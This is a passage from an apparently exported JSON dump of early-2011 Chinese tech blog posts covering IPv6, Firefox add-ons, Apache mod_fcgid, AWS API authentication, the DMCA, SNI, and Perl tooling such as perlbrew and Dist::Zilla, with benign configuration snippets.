的測試會是一個「開始」，這次的測試不會有結束的時候，藉機順便轉換到 IPv6 上。剛好借測試的名義打破雞蛋問題。Google 的測試不知道會不會將 <a href=\"http://www.youtube.com/\">YouTube</a> 部份影片丟上來測，這對 IPv6 的轉移會影響很大：如果 IPv6 bandwidth 夠大，就會有更多 ISP 會建立 IPv6 的環境。\r\n\r\n大多數人沒有 native IPv6 環境，多是透過 tunnel 之類的環境使用 IPv6 (尤其是 192.88.99.1 這組 Anycast-based 的 6to4 tunnel)。可以預期到時候會讓使用量衝上去許多...",
    "title": "六月的 IPv6 測試..."
  },
  {
    "id": "2434",
    "body": "<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/crJqr.webp\" /><img src=\"https://i.gslin.com/imgur/crJqr.jpg\" alt=\"\" /></picture>\r\n\r\n<a href=\"https://addons.mozilla.org/firefox/addon/cipherfox/\">CipherFox</a> 是無意間亂翻關鍵字找到的 <a href=\"http://www.mozilla.com/firefox/\">Firefox</a> 套件，主要有兩個用途：\r\n<ul>\r\n\t<li>顯示目前網站所使用的加密層級，像是上圖的 <a href=\"https://aws.amazon.com/\">https://aws.amazon.com/</a> 使用 <a href=\"http://zh.wikipedia.org/wiki/3DES\">3DES</a> 168bits。</li>\r\n\t<li>由於 <a href=\"http://en.wikipedia.org/wiki/RC4\">RC4</a> 演算法發生的問題太多，可以選擇禁用 RC4。</li>\r\n</ul>",
    "title": "CipherFox"
  },
  {
    "id": "2435",
    "body": "先不論效能之類的問題，<a href=\"http://httpd.apache.org/mod_fcgid/\">mod_fcgid</a> 跑 <a href=\"http://www.php.net/\">PHP</a> 的設定比 <a href=\"http://www.fastcgi.com/mod_fastcgi/docs/mod_fastcgi.html\">mod_fastcgi</a> 簡單許多。(參考之前寫的「<a href=\"http://blog.gslin.org/archives/2008/08/17/1624/apache22-worker-mod_fastcgi-php5-fcgi\">apache22 (worker) + mod_fastcgi + php5-fcgi</a>」這篇文章)\r\n\r\n首先是把 module load 進來：\r\n<blockquote><code>LoadModule fcgid_module libexec/apache22/mod_fcgid.so</code></blockquote>\r\n再來是把副檔名加上去，以及告知什麼副檔名要用什麼程式包：\r\n<blockquote><code>AddHandler fcgid-script .php\r\nFcgidWrapper /usr/local/bin/php-cgi .php</code></blockquote>\r\n就這樣而已... 預設會跑一隻 <code>php-cgi</code>，需要的時候會再多拉幾隻。以他的方式看起來 code segment 不會共用，這種設定方式給小站台用還可以...\r\n\r\n接下來看看有沒有辦法在 <code>.htaccess</code> 內直接吃本地的 FastCGI process...",
    "title": "mod_fcgid 與 PHP"
  },
  {
    "id": "2436",
    "body": "<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/W1AJf.webp\" /><img src=\"https://i.gslin.com/imgur/W1AJf.jpg\" alt=\"\" style=\"float: left; margin-right: 1em;\" /></picture>\r\n\r\n去 <a href=\"http://userscripts.org/\">Userscripts.org</a> 翻一些工具，發現有些 script 看起來還蠻有趣的。像是「<a href=\"http://userscripts.org/scripts/show/84296\">CPAN Search Dependents</a>」會在搜尋頁列出模組的 dependency 數量。\r\n\r\n不過，用過以後發現他的優點是可以先在搜尋頁看出來有哪些 module，至於 script 本來做的事情 (計算 dependency 的數量) 反而不是重點...\r\n\r\n等下來寫個可以把 Syntax Highlight 加進去的工具，看了一下 <a href=\"http://www.cpan.org/\">CPAN</a> 的頁面，操作這些 DOM element 應該不難...",
    "title": "CPAN 的 Greasemonkey 工具..."
  },
  {
    "id": "2437",
    "body": "在「<a href=\"http://blog.gslin.org/archives/2011/01/27/2436/cpan-%E7%9A%84-greasemonkey-%E5%B7%A5%E5%85%B7\">CPAN 的 Greasemonkey 工具…</a>」這邊提到打算寫一個 <a href=\"http://www.greasespot.net/\">Greasemonkey</a> script，將 CPAN 上面的 source code 部份加上 syntax highlight，因為有不少現成的 Highlighter 是 javascript-based，所以程式只要套一套就可以了...\r\n\r\nGreasemonkey 的程式在這：「<a href=\"http://userscripts.org/scripts/show/95464\">CPAN Syntax Highlight</a>」。\r\n\r\n使用前：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/6RBFx.webp\" /><img src=\"https://i.gslin.com/imgur/6RBFx.jpg\" alt=\"\" /></picture>\r\n\r\n使用後：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/cEF1S.webp\" /><img src=\"https://i.gslin.com/imgur/cEF1S.jpg\" alt=\"\" /></picture>",
    "title": "將 search.cpan.org 的 source 部份加上 SyntaxHighlighter"
  },
  {
    "id": "2441",
    "body": "<a href=\"http://aws.amazon.com/\">Amazon Web Services</a> 有提供很多服務，有的早在「雲端風潮」前就有，有的是最近才推出的。把 <a href=\"http://aws.amazon.com/documentation/\">AWS Documentation library</a> 每個服務的 API 認證方式看完一遍後，只能苦笑對使用 AWS API 的人致敬...\r\n\r\n有幾個心得與感想：\r\n<ul>\r\n\t<li>文件雖然套用同一組模板 (用 frame 切開，左邊索引，右邊內容)，但其中的寫法並沒有統一。理論上每個 API 都會有的 API 簽名環節在不同的文件裡可能會在不同的章節出現。</li>\r\n\t<li>認證的方式不一致：<ul>\r\n\t\t<li>早期的服務很亂，大多都是以 SOAP 為基礎的 API，尤其是跟錢有關的這塊特別明顯 (因為 <a href=\"http://www.amazon.com/\">Amazon</a> 很早就 API 化)。</li>\r\n\t\t<li>一開始出來的 <a href=\"http://aws.amazon.com/s3/\">S3</a> 使用的是 REST 概念，簽名的值放在 HTTP Header 內，欄位名稱是 <code>Authorization</code>，<a href=\"http://aws.amazon.com/cloudfront/\">CloudFront</a> 是 S3 的延伸，所以認證方式與 S3 相同。</li>\r\n\t\t<li>但與 S3 同時期推出的 <a href=\"http://aws.amazon.com/ec2/\">EC2</a>，以及後來大多數的服務，都是以 <code>GET</code> 為基礎。這時候兩套系統的 API 設計邏輯就不同了。</li>\r\n\t\t<li>最近出的 <a href=\"http://aws.amazon.com/route53/\">Route53</a>，又再引入了 REST 概念，但欄位名稱為 <code>X-Amzn-Authorization</code>，要放的簽名格式又改變了...</li>\r\n</ul></li>\r\n</ul>\r\n這也是為什麼沒有一套 library 可以一直吃遍 <a href=\"http://aws.amazon.com/\">AWS</a> 服務的關係，API 的設計讓人感覺頗疲倦... XD",
    "title": "AWS API 的認證方式"
  },
  {
    "id": "2443",
    "body": "在 <a href=\"http://www.netflix.com/\">Netflix</a> 官方的網誌上公佈：「<a href=\"http://techblog.netflix.com/2011/01/netflix-performance-on-top-isp-networks.html\">Netflix Performance on Top ISP Networks</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Xjtbx.webp\" /><img src=\"https://i.gslin.com/imgur/Xjtbx.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/umCOS.webp\" /><img src=\"https://i.gslin.com/imgur/umCOS.jpg\" alt=\"\" /></picture>\r\n\r\n目前 Netflix 有 <a href=\"http://www.akamai.com/\">Akamai</a> 與 <a href=\"http://www.level3.com/\">Level3</a> 兩家 CDN 提供服務 (不確定還有沒有其他的)，在最後一段還說要每個月更新這些資料，是打算反過來對 ISP 施壓嗎？：\r\n<blockquote>We'll update these charts monthly, and we welcome questions, comments and suggestions to help improve our understanding of Netflix performance on top ISP networks.</blockquote>",
    "title": "Netflix 公佈北美 ISP 對 Netflix 的速度..."
  },
  {
    "id": "2444",
    "body": "<a href=\"https://github.com/\">GitHub</a> 是美國公司，所以會受到 <a href=\"http://en.wikipedia.org/wiki/Digital_Millennium_Copyright_Act\">DMCA</a> 的影響，前幾天他們公佈了收到 DMCA Takedown 時的政策與作法：「<a href=\"http://help.github.com/dmca/\">DMCA Takedown</a>」(話說回來，<code>help.github.com</code> 居然沒有上 HTTPS)。\r\n\r\n然後很有 GitHub 風格的開了一個 repository 來管這些 Takedown Notice (噴茶)：「<a href=\"https://github.com/github/dmca\">https://github.com/github/dmca</a>」，目前已經看到兩封了，以後應該可以看到很多「範本」。其中一封是 Sony 針對 PS3 破解工具發 Takedown notice：「<a href=\"https://github.com/github/dmca/blob/master/2011-01-27-sony.markdown\">2011-01-27-sony.markdown</a>」(<a href=\"http://slashdot.org/\">Slashdot</a> 的報導在「<a href=\"http://hardware.slashdot.org/story/11/01/30/0330257/Sony-Sends-DMCA-Takedown-Notice-To-GitHub\">Sony Sends DMCA Takedown Notice To GitHub</a>」)\r\n\r\n另外一個有公開 Takedown notice 的是 <a href=\"http://thepiratebay.org/\">The Pirate Bay</a>，參考「<a href=\"http://thepiratebay.org/legal\">Legal threats against The Pirate Bay</a>」，這邊也有很多範本 XD (應該是只刊出大公司的 XD)",
    "title": "GitHub 的 DMCA 政策"
  },
  {
    "id": "2447",
    "body": "SNI 是「<a href=\"http://en.wikipedia.org/wiki/Server_Name_Indication\">Server Name Indication</a>」的縮寫，是 SSL Virtual Hosting 中很重要的一塊。\r\n\r\n到目前為止，最主要是卡在 Windows XP 平台的 <a href=\"http://zh.wikipedia.org/wiki/%E4%BC%A0%E8%BE%93%E5%B1%82%E5%AE%89%E5%85%A8\">SSL/TLS</a> 沒有支援，導致使用系統 SSL/TLS Library 的 IE6/7/8 都不支援 SNI。以 <a href=\"http://gs.statcounter.com\">gs.statcounter.com</a> 的數據「<a href=\"http://gs.statcounter.com/#os-ww-monthly-201001-201101\">Top 5 Operating System from Jan 10 to Jan 11</a>」來看，Windows XP 還有 48% 的市占率...\r\n\r\n要等到 Windows XP 的市占率夠低後才有機會看到 SNI CDN...",
    "title": "單一 IP/Port 多個 SSL Certificate：SNI"
  },
  {
    "id": "2450",
    "body": "<a href=\"http://www.kaspersky.com/kaspersky_internet_security\">Kaspersky Internet Security</a> 程式碼流出 (可能是某個 beta 期間的)：「<a href=\"http://developers.slashdot.org/story/11/01/31/2130253/Kaspersky-Source-Code-In-the-Wild\">Kaspersky Source Code In the Wild</a>」，目前的版本是 2011。\r\n\r\n程式碼是 2008 年由某個離職員工 copy 出去，在黑市尋找買家而流出的。雖然是 2008 年的版本，但對於寫惡意程式及病毒的人來說仍然是個重要的資料...",
    "title": "Kaspersky Internet Security 程式碼流出"
  },
  {
    "id": "2451",
    "body": "前陣子 IPv4 倒數第六個 /8 被分給 <a href=\"http://www.apnic.net/\">APNIC</a> 後，觸發了 IPv4 最後五個 /8 的分發機制，自動將剩下的五個 /8 分給每個 <a href=\"http://zh.wikipedia.org/wiki/%E5%8C%BA%E5%9F%9F%E4%BA%92%E8%81%94%E7%BD%91%E6%B3%A8%E5%86%8C%E7%AE%A1%E7%90%86%E6%9C%BA%E6%9E%84\">RIR</a>：「<a href=\"http://www.apnic.net/publications/news/2011/delegation\">Two /8s allocated to APNIC from IANA</a>」。\r\n\r\nIPv4 全部分配出去後，一般的使用者還感覺不到 IPv4 耗盡的問題，接下來的一至兩個月都還有機會從 RIR 手上申請到 IPv4 address。\r\n\r\n在「<a href=\"http://en.wikipedia.org/wiki/IPv6_transition_mechanisms\">IPv6 transition mechanisms</a>」這邊列有各種 IPv4 轉移到 IPv6 時的過渡方案，有一些方案已經有硬體支援。(像是 <a href=\"http://www.juniper.net/\">Juniper</a> 的 NAT64：「<a href=\"http://www.juniper.net/techpubs/en_US/junos10.4/information-products/topic-collections/nce/nat64-ipv6-ipv4-depletion/index.html\">Configuring Stateful NAT64 for Handling IPv4 Address Depletion</a>」）",
    "title": "IPv4 分配完畢，進入下一階段..."
  },
  {
    "id": "2452",
    "body": "在 <a href=\"http://slashdot.org/\">Slashdot</a> 上看到「<a href=\"http://yro.slashdot.org/story/11/02/04/2240221/Piracy-Boosts-Anime-Sales-Says-Japanese-Government-Study\">Piracy Boosts Anime Sales, Says Japanese Government Study</a>」，引用自 <a href=\"http://torrentfreak.com/\">TorrentFreak</a> 的「<a href=\"http://torrentfreak.com/internet-piracy-boosts-anime-sales-study-concludes-110203/\">Internet Piracy Boosts Anime Sales, Study Concludes</a>」。\r\n\r\n原始的報告可以在「<a href=\"http://www.rieti.go.jp/en/publications/summary/11010021.html\">Do Illegal Copies of Movies Reduce the Revenue of Legal Products? The case of TV animation in Japan</a>」(Abstract 是英文，報告本身是日文 PDF)。\r\n\r\n作者分析 <a href=\"http://www.youtube.com/\">YouTube</a> 及 <a href=\"http://zh.wikipedia.org/wiki/Winny\">Winny</a> 這兩個「平台」的數據，試著找出對 DVD 銷售與 DVD 租用的關聯性。而結論是「YouTube 點閱率高的，不會影響 DVD 租用，而且會幫助 DVD 銷售」，而「Winny 會負面影響 DVD 租用，但不會影響 DVD 銷售」。\r\n\r\n但看完報告後，這是標準「數字會說話」與「數字會騙人」的案例。把「DVD 賣得好」的功勞推給「YouTube 的點閱次數高」並不合理，報告的數據只表示了這兩個數字相關。另一個合理的假設是「作品品質夠好，所以 DVD 與 YouTube 點閱次數都提昇」。\r\n\r\n我的感想是，這份報告沒有意義。",
    "title": "YouTube/Winny 有助於日本動畫的銷售？"
  },
  {
    "id": "2453",
    "body": "<a href=\"http://www.adobe.com/products/reader.html\">Adobe Reader</a> X (也就是 10) 相較於之前的版本，引入了 <a href=\"http://zh.wikipedia.org/wiki/%E6%B2%99%E7%9B%92_%28%E9%9B%BB%E8%85%A6%E5%AE%89%E5%85%A8%29\">Sandbox</a> 的架構。安全性比起之前的版本好很多。\r\n\r\n在 <a href=\"http://slashdot.org/\">Slashdot</a> 就有提到 Adobe Reader X 釋出以後，對最近的一些惡意 PDF 的抗性高出不少：「<a href=\"http://it.slashdot.org/story/11/02/04/2359258/Adobes-Reader-X-Spoils-New-PDF-Attack\">Adobe's Reader X Spoils New PDF Attack</a>」。\r\n\r\n另外對於安裝 Adobe Reader X 時需要安裝 DLM 的問題，一般常見的解法是到 <a href=\"http://www.adobe.com/\">Adobe</a> 的 FTP 下載：「<a href=\"ftp://ftp.adobe.com/\">ftp://ftp.adobe.com/</a>」。在防火牆內可能會有問題，這時候可以先用 <a href=\"http://www.google.com/search?q=Web+FTP\">Web FTP</a> 的服務先看到檔名，再用該檔名去 <a href=\"http://www.google.com/\">Google</a> 上尋找 <code>ardownload.adobe.com</code> 的官方連結下載。",
    "title": "Adobe Reader X 的 Sandbox..."
  },
  {
    "id": "2454",
    "body": "最近很兇的問題...\r\n\r\n<a href=\"http://twitter.com/rojadirecta\">Rojadirecta</a> (他們的 <a href=\"http://twitter.com/\">Twitter</a> 帳號) 是一個西班牙網站，提供運動賽事的 stream 資訊。曾經在西班牙被告侵犯著作權，但站方勝訴。\r\n\r\n美國司法部在未經告知及審判的情況下直接將 rojadirecta.org、rojadirecta.com 劫持：「<a href=\"http://torrentfreak.com/us-resume-file-sharing-domain-seizures-110201/\">U.S. Resume Controversial File-Sharing Domain Seizures (Updated)</a>」，除了 Rojadirecta 以外，還有許多與運動相關的網站也被劫持 (在 <a href=\"http://torrentfreak.com/\">TorrentFreak</a> 的文章底部有一直更新)。\r\n\r\n現在有參議員對司法部質疑其行為，發信要求司法部解釋他所提出來的問題：「<a href=\"http://www.techdirt.com/articles/20110202/23363812934/senator-wyden-asks-wtf-is-up-with-homeland-security-domain-seizures.shtml\">Senator Wyden Asks WTF Is Up With Homeland Security Domain Seizures</a>」。\r\n\r\n繼續看接下來的攻防...",
    "title": "美國政府強制介入外國網站合法性問題"
  },
  {
    "id": "2457",
    "body": "整理一下重灌後會裝的字體，以及一些註解。主要是提非 <a href=\"http://zh.wikipedia.org/wiki/CJKV\">CJKV</a> 的 Monospace 字體部份...\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/9Ckca.webp\" /><img src=\"https://i.gslin.com/imgur/9Ckca.jpg\" alt=\"\" /></picture><br /><small>From <a href=\"http://en.wikipedia.org/wiki/File:BitstreamVera.svg\">http://en.wikipedia.org/wiki/File:BitstreamVera.svg</a></small>\r\n\r\n<a href=\"http://www.gnome.org/fonts/\">Bitstream Vera Fonts</a>：<a href=\"https://github.com/\">GitHub</a> 有用到 <a href=\"http://en.wikipedia.org/wiki/Bitstream_Vera\">Bitstream Vera Sans Mono</a>，找不到時會使用 Courier，在 Windows 上會因為沒有 antialias 而產生鋸齒。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Sa0ss.webp\" /><img src=\"https://i.gslin.com/imgur/Sa0ss.jpg\" alt=\"\" /></picture><br /><small>From <a href=\"http://www.levien.com/type/myfonts/inconsolata.html\">http://www.levien.com/type/myfonts/inconsolata.html</a></small>\r\n\r\n<a href=\"http://www.levien.com/type/myfonts/inconsolata.html\">Inconsolata</a>：我把許多軟體的 Monospace Font 設定都換成這個。目前是 <a href=\"http://www.mozilla.com/firefox/\">Firefox</a> &amp; <a href=\"http://www.vim.org/\">Vim</a> 的 <code>Monospace</code> 字體。",
    "title": "免費的字體..."
  },
  {
    "id": "2458",
    "body": "<a href=\"http://www.mozilla.com/firefox/\">Firefox</a> 上回收記憶體的套件，目前只有 Windows 平台有支援：「<a href=\"https://addons.mozilla.org/firefox/addon/afom-memory-recovery-retention/\">AFOM - Memory Recovery &amp; Retention For Firefox Only</a>」，用了幾個禮拜後發現效果還蠻不錯，也還算穩定... 桌機只有 2GB RAM，還沒打算要升級，先頂著用...\r\n\r\n效果的部份可以參考「<a href=\"http://demo.tc/Post/601\">AFOM 有效解決 Firefox 記憶體咬住不放的擴充套件</a>」這篇裡的資料。",
    "title": "Firefox 省記憶體的套件：AFOM"
  },
  {
    "id": "2459",
    "body": "<a href=\"http://www.comscoredatamine.com/\">comScore Data Mine</a> 給的數據：「<a href=\"http://www.comscoredatamine.com/2011/02/share-of-display-ad-impressions-by-top-publisher-category-in-2010/\">Share of Display Ad Impressions by Top Publisher Category in 2010</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/2uBiZ.jpg\" alt=\"% Share of Display Ad Impressions by Top Publisher Category\" />\r\n\r\n跟一般想像的差不多，Social Networking 所佔的比率在增加，入口網站則微幅在減少，其他的變動不大。數據可以參考看看。",
    "title": "廣告在各種不同網路媒體所佔的比率..."
  },
  {
    "id": "2461",
    "body": "之前有在其他網站上看到 failover 的技巧，但剛剛才發現 <a href=\"http://jquery.com/\">jQuery</a> 官方網站上也用上了類似的技巧，將 <a href=\"http://www.google.com/\">Google</a> (<code>ajax.googleapis.com</code>) 與 <a href=\"http://www.edgecast.com/\">EdgeCast</a> (<code>code.jquery.com</code>) 的 CDN：\r\n<blockquote><code>&lt;script src=\"http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js\"&gt;&lt;/script&gt;\r\n&lt;script&gt;!window.jQuery && document.write('&lt;script src=\"http://code.jquery.com/jquery-1.4.2.min.js\"&gt;&lt;\\/script&gt;');&lt;/script&gt;</code></blockquote>\r\n雖然 jQuery 網站上是放在開頭，但放在 HTML 最後面也有一樣的效果...",
    "title": "jQuery CDN failover 的方式..."
  },
  {
    "id": "2462",
    "body": "在 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 上系統內建的 <a href=\"http://www.perl.org/\">Perl</a> 是 5.10.1，而且系統內建的 Perl module 有時會與自己裝的衝到，於是就找了一下要怎麼產生獨立環境的方法... 結果發現 <a href=\"http://gugod.org/\">gugod</a> 早就把細節都包好 XD\r\n\r\n首先是用系統的 <code>cpan</code> 安裝 <a href=\"http://search.cpan.org/dist/App-perlbrew/\">App::perlbrew</a>：\r\n<blockquote><code>cpan App::perlbrew</code></blockquote>\r\n因為我不打算繼續用之前透過 <a href=\"http://search.cpan.org/dist/App-cpanminus/\">App::cpanminus</a> (<code>cpanm</code>) 裝的 module，所以我把 <code>~/perl5</code> 全砍了再跑下一步，也就是初始化 perlbrew 環境：(如果是 csh/tcsh 使用者，記得先下 <code>rehash</code> 清 cache)\r\n<blockquote><code>perlbrew init</code></blockquote>\r\n然後安裝 Perl 5.12.3：\r\n<blockquote><code>perlbrew install perl-5.12.3</code></blockquote>\r\n如果安裝失敗的話，可以看 build log。我在 <a href=\"http://www.freebsd.org/\">FreeBSD</a> 上遇過 test fail 的情形，可以直接強制安裝，大家就自己看著辦 XD\r\n\r\n接下來是切換過去：\r\n<blockquote><code>perlbrew switch perl-5.12.3</code></blockquote>\r\n然後把 <code>.cshrc</code> 或是 <code>.bashrc</code> 加上對應的設定：\r\n<blockquote><code>source ${HOME}/perl5/perlbrew/etc/cshrc</code></blockquote>\r\n或是：\r\n<blockquote><code>source ${HOME}/perl5/perlbrew/etc/bashrc</code></blockquote>\r\n然後重新登入 (或是執行 <code>source</code> 那串，讓設定檔生效)，接下來就可以用 <code>cpan</code> 指令裝 App::cpanminus 了。\r\n\r\n另外，可以參考這些文章：\r\n<ul>\r\n\t<li><a href=\"http://eragonj.hax4.in/blog/tag/perlbrew\">[Perl] light Perl = cpanm + perlbrew</a></li>\r\n\t<li><a href=\"http://fourdollars.blogspot.com/2010/04/perlbrew-perl-5120-cpanm.html\">使用 perlbrew 來安裝 perl-5.12.0 跟 cpanm 的筆記</a></li>\r\n</ul>",
    "title": "用 App::perlbrew + App::cpanminus 安裝自己的 Perl 環境"
  },
  {
    "id": "2463",
    "body": "有很多地方都有報導，引官方 <a href=\"http://blogs.adobe.com/flashplayer/\">Adobe Flash Player Team Blog</a> 的新聞稿好了：「<a href=\"http://blogs.adobe.com/flashplayer/2011/02/flash-player-10-2-launch.html\">Flash Player 10.2 is Here: Available Now for Windows, Mac, and Linux</a>」。\r\n\r\n新版的 <a href=\"http://www.adobe.com/products/flashplayer/\">Flash Player</a> 主打「Stage Video」(參考「<a href=\"http://www.adobe.com/devnet/flashplayer/articles/stage_video.html\">Getting started with stage video</a>」這篇文章)，將 video rendering 的部份丟給顯卡加速。(雖然還是有很多限制)\r\n\r\n不透過 DLM 安裝的方式可以參考「<a href=\"http://blog.gslin.org/archives/2010/09/30/2308/%E7%9B%B4%E6%8E%A5%E5%AE%89%E8%A3%9D-adobe-flash-player-%E8%80%8C%E4%B8%8D%E5%AE%89%E8%A3%9D-dlm\">直接安裝 Adobe Flash Player 而不安裝 DLM</a>」這篇。另外要透過 AD 派送的可以到「<a href=\"http://www.adobe.com/products/flashplayer/fp_distribution3.html\">Download Adobe® Flash® Player</a>」這邊下載 msi 檔。\r\n\r\n以目前的發展來看，Flash 只剩下 Video 這塊功用了...",
    "title": "Adobe Flash Player 10.2"
  },
  {
    "id": "2465",
    "body": "從 <a href=\"http://jquery.com/\">jQuery</a> 1.5.0 出來以後 (2011/1/31) 沒幾天又準備要出 1.5.1 了，剛剛在官方的公告「<a href=\"http://blog.jquery.com/2011/02/18/jquery-1-5-1-rc-1-released/\">jQuery 1.5.1 RC 1 Released</a>」上公佈了 1.5.1 RC 1 的連結 (讓人測試)，以及大量的 bugfix 資訊...\r\n\r\n昨天看了幾個報社的網站，發現不少網站都用 jQuery：(看首頁的部份)\r\n<ul>\r\n\t<li><a href=\"http://udn.com/\">聯合新聞網</a>：1.4.2 (local server)</li>\r\n\t<li><a href=\"http://news.chinatimes.com/\">中時電子報</a>：1.3.2 (<a href=\"http://www.google.com/\">Google</a> CDN)</li>\r\n\t<li><a href=\"http://tw.nextmedia.com/\">蘋果日報 (台灣)</a>：1.4.2 (Google CDN)</li>\r\n</ul>\r\n而「<a href=\"http://www.libertytimes.com.tw/\">自由時報電子報</a>」首頁沒有看到 jQuery...",
    "title": "jQuery 1.5.1 RC 1"
  },
  {
    "id": "2466",
    "body": "<a href=\"http://stevesouders.com/mobileperf/mobileperfbkm.php\">Mobile Perf bookmarklet</a> 在 <a href=\"http://twitter.com/jackysee\">Jacky 的 Twitter</a> 上<a href=\"http://twitter.com/jackysee/status/38779825372004352\">看到</a>的工具，是由 <a href=\"http://stevesouders.com/\">Steve Souders</a> 整理出來的，包括了七個 bookmarklet 工具，執行後就會像這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/u7HWB.webp\" /><img src=\"https://i.gslin.com/imgur/u7HWB.jpg\" alt=\"\" /></picture>\r\n\r\n拿來分析 performance issue 還不錯...",
    "title": "Mobile Perf bookmarklet"
  },
  {
    "id": "2467",
    "body": "跟 <a href=\"http://zeroplex.blogspot.com/\">Zeroplex</a> 遇到類似的問題 (參考「<a href=\"http://zeroplex.blogspot.com/2011/02/nchc-for-ubuntu-sourceslist.html\">NCHC for Ubuntu sources.list</a>」這篇)，放在台大的 <a href=\"http://tw.archive.ubuntu.com/\">tw.archive.ubuntu.com</a> 常常連不上，所以就換掉 mirror site 了。<a href=\"http://www.ubuntu.com/\">Ubuntu</a> 跟 <a href=\"http://www.debian.org/\">Debian</a> 相同，都是用 <a href=\"http://zh.wikipedia.org/wiki/%E9%AB%98%E7%BA%A7%E5%8C%85%E8%A3%85%E5%B7%A5%E5%85%B7\">APT</a>，所以就是換掉 <code>/etc/apt/</code> 下面的設定。\r\n\r\nZeroplex 使用的是 <a href=\"http://free.nchc.org.tw/\">http://free.nchc.org.tw/</a>，我則是用 <a href=\"http://ftp.twaren.net/\">http://ftp.twaren.net/</a>。換完後再 <code>apt-get update</code> 一次就可以了。",
    "title": "換 Ubuntu 的 mirror site..."
  },
  {
    "id": "2468",
    "body": "之前寫過一篇「<a href=\"http://blog.gslin.org/archives/2010/11/20/2355/%E7%94%A2%E7%94%9F-perl-module-%E7%9A%84%E5%B7%A5%E5%85%B7%EF%BC%9Amodulestarter\">產生 Perl Module 的工具：Module::Starter</a>」是用 <a href=\"http://search.cpan.org/dist/Module-Starter/\">Module::Starter</a> 管理，另外再配合其他工具上傳到 <a href=\"http://www.cpan.org/\">CPAN</a> 上。前陣子在 <a href=\"https://github.com/\">GitHub</a> 上亂逛的時候看到有人 Perl module 裡面只有一個 <code>dist.ini</code> 與 <code>Changes</code>，另外就是 <code>lib/</code> 與 <code>t/</code>，就感覺到應該是我要的東西 XD 花了一些時間測試後發現功能不多，但對於初期應該足夠了，等到熟悉後再跳到功能比較完整的管理軟體...\r\n\r\n首先先用 <code>dzil setup</code> 設定環境，如果有 <a href=\"https://pause.perl.org/\">PAUSE</a> 帳號的話也能夠整合進去。設定完後記得將 <code>~/.dzil/</code> 設為 700，裡面的檔案設為 600。\r\n\r\n接下來就是建立模組，像是 <code>dzil new Plack::Middleware::HTMLMinify</code> 這樣的指令。建好後就把 module 寫完，然後設定 <code>dist.ini</code>。(文件上的說明應該夠用)\r\n\r\n接下來可以用 <code>dzil build</code> 編，或是用 <code>dzil test</code> 測試。沒問題之後用 <code>dzil release</code> 上傳到 PAUSE。\r\n\r\n基本的功能大概就這樣...\r\n\r\n<strong>Update</strong>：<code>dist.ini</code> 的範例可以在 <a href=\"https://github.com/gslin/plack-middleware-htmlminify-perl/\">plack-middleware-htmlminify-perl</a> 的 repository 裡看到。",
    "title": "用 Dist::Zilla 管理 Perl Module..."
  },
  {
    "id": "2469",
    "body": "剛剛用手機看自己的 blog 發現版面亂掉，看起來是 CSS 有問題...\r\n\r\n測了一些東西後發現，如果 <a href=\"http://wordpress.org/extend/plugins/w3-total-cache/\">W3 Total Cache</a> 使用 <a href=\"http://aws.amazon.com/cloudfront/\">CloudFront</a> CDN，會使得 <a href=\"http://wordpress.org/extend/plugins/wptouch/\">WPTouch</a> 失效，拿掉 CDN 的部份就會恢復正常...\r\n\r\n那只好先拿掉了，現在用手機看 blog 的人應該就正常了...",
    "title": "Blog 關掉 CloudFront CDN..."
  },
  {
    "id": "2472",
    "body": "<a href=\"http://search.cpan.org/dist/Markapl/\">Markapl</a> 是 <a href=\"http://gugod.org/\">gugod</a> 寫的 Perl module，這是在 <a href=\"http://bulknews.typepad.com/\">miyagawa</a> (宮川達彦) 的 <a href=\"https://github.com/miyagawa/Sunaba\">Sunaba</a> 模組上看到的... 以 <a href=\"http://www.perl.org/\">Perl</a> 的語法建立 HTML。\r\n\r\n目前 <a href=\"http://www.cpan.org/\">CPAN</a> 上面 Markapl 的不是最新版 (0.11)，在 <a href=\"https://github.com/\">GitHub</a> 上的 <a href=\"https://github.com/gugod/markapl\">Markapl</a> 比較新... (據說是作者忘記在 release 0.11 後有 commit 了，在寫這篇文章的時候已經 release 新版，等下應該就會看到了...)\r\n\r\n至於範例... 直接參考 Sunaba 的 <a href=\"https://github.com/miyagawa/Sunaba/blob/f1caf1725a176010083cd90b59397cb3ae04a0ab/lib/Sunaba/View.pm\">View.pm</a> 會比較快。(我故意連到特定版本，避免之後改動架構這個檔案被搬走。目前版本的 View.pm 請點<a href=\"https://github.com/miyagawa/Sunaba/commits/master/lib/Sunaba/View.pm\">這個</a>連結)\r\n\r\n用 Markapl 除了可以用 Perl 語法外，另外一個「好處」是強迫自己將 css 與 javascript 搬到 template 外面，因為 template 內實在是不好寫... (用「<code>q/.../</code>」？用「<code>&lt;&lt;CSS;</code>」然後「<code>CSS</code>」結尾？gosh XD)\r\n\r\n另外補充一點，範例上都沒有 DOCTYPE，請用「<code>outs_raw('&lt;doctype html&gt;');</code>」加在 <code>html</code> 前即可。",
    "title": "Markapl：Markup as Perl"
  },
  {
    "id": "2474",
